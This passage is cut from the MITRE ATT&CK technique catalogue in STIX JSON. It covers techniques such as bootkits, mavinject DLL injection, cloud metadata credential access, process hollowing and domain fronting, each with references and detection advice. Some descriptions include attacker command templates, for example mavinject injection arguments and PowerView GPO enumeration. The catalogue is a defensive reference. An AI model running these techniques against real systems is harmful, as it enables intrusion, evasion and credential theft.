            "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ted Samuels, Rapid7",
                "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.\n\nMonitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Active Directory: Active Directory Object Access",
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "created": "2019-12-19T21:05:38.123Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/003",
                    "external_id": "T1542.003"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:10.739Z",
            "name": "Bootkit",
            "description": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Drive: Drive Modification",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "created": "2017-05-31T21:30:31.584Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1025",
                    "external_id": "T1025"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:10.837Z",
            "name": "Data from Removable Media",
            "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
            "created": "2017-05-31T21:31:26.474Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1116",
                    "external_id": "T1116"
                },
                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
                },
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:13.106Z",
            "name": "Code Signing",
            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9",
            "created": "2021-09-22T17:45:10.241Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/013",
                    "external_id": "T1218.013"
                },
                {
                    "source_name": "ATT Lazarus TTP Evolution",
                    "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution"
                },
                {
                    "source_name": "LOLBAS Mavinject",
                    "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"
                },
                {
                    "source_name": "Mavinject Functionality Deconstructed",
                    "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.",
                    "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
                },
                {
                    "source_name": "Reaqta Mavinject",
                    "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.",
                    "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:48:44.734Z",
            "name": "Mavinject",
            "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
            "created": "2019-09-04T14:41:32.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1522",
                    "external_id": "T1522"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
                },
                {
                    "source_name": "RedLock Instance Metadata API 2018",
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:13.393Z",
            "name": "Cloud Instance Metadata API",
            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
            "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
            "created": "2017-05-31T21:31:09.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1093",
                    "external_id": "T1093"
                },
                {
                    "source_name": "Leitch Hollowing",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "url": "http://www.autosectools.com/process-hollowing.pdf"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "name": "Process Hollowing",
            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)",
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            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
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            "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "created": "2020-03-13T21:13:10.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1074/001",
                    "external_id": "T1074.001"
                },
                {
                    "source_name": "Prevailion DarkWatchman 2021",
                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
                    "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
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            "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)",
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            "x_mitre_platforms": [
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                "Windows",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "created": "2020-02-10T20:43:10.239Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/005",
                    "external_id": "T1036.005"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
                },
                {
                    "source_name": "Docker Images",
                    "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/images/"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "Aquasec Kubernetes Backdoor 2023",
                    "description": "Michael Katchinskiy and Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved March 24, 2025.",
                    "url": "https://www.aquasec.com/blog/leveraging-kubernetes-rbac-to-backdoor-clusters/"
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            "modified": "2025-04-15T19:58:11.443Z",
            "name": "Match Legitimate Resource Name or Location",
            "description": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.(Citation: Aquasec Kubernetes Backdoor 2023)",
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            "x_mitre_contributors": [
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                "Vishwas Manral, McAfee"
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            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.0",
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                "Image: Image Metadata",
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                "Process: Process Creation"
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            "type": "attack-pattern",
            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1172",
                    "external_id": "T1172"
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                {
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
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            "modified": "2025-04-25T15:15:13.957Z",
            "name": "Domain Fronting",
            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
            "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
            "created": "2020-10-01T01:42:24.974Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1587/003",
                    "external_id": "T1587.003"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
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            "modified": "2025-04-15T22:18:36.653Z",
            "name": "Digital Certificates",
            "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
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                    "phase_name": "resource-development"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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            "type": "attack-pattern",
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            "created": "2020-03-02T14:22:24.410Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1565/001",
                    "external_id": "T1565.001"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
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            "modified": "2025-04-15T23:13:20.667Z",
            "name": "Stored Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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                "File: File Creation",
                "File: File Deletion"
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            "x_mitre_impact_type": [
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
            "created": "2020-02-11T18:38:56.197Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1110/002",
                    "external_id": "T1110.002"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Wikipedia Password cracking",
                    "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                    "url": "https://en.wikipedia.org/wiki/Password_cracking"
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            "modified": "2025-04-15T19:58:11.912Z",
            "name": "Password Cracking",
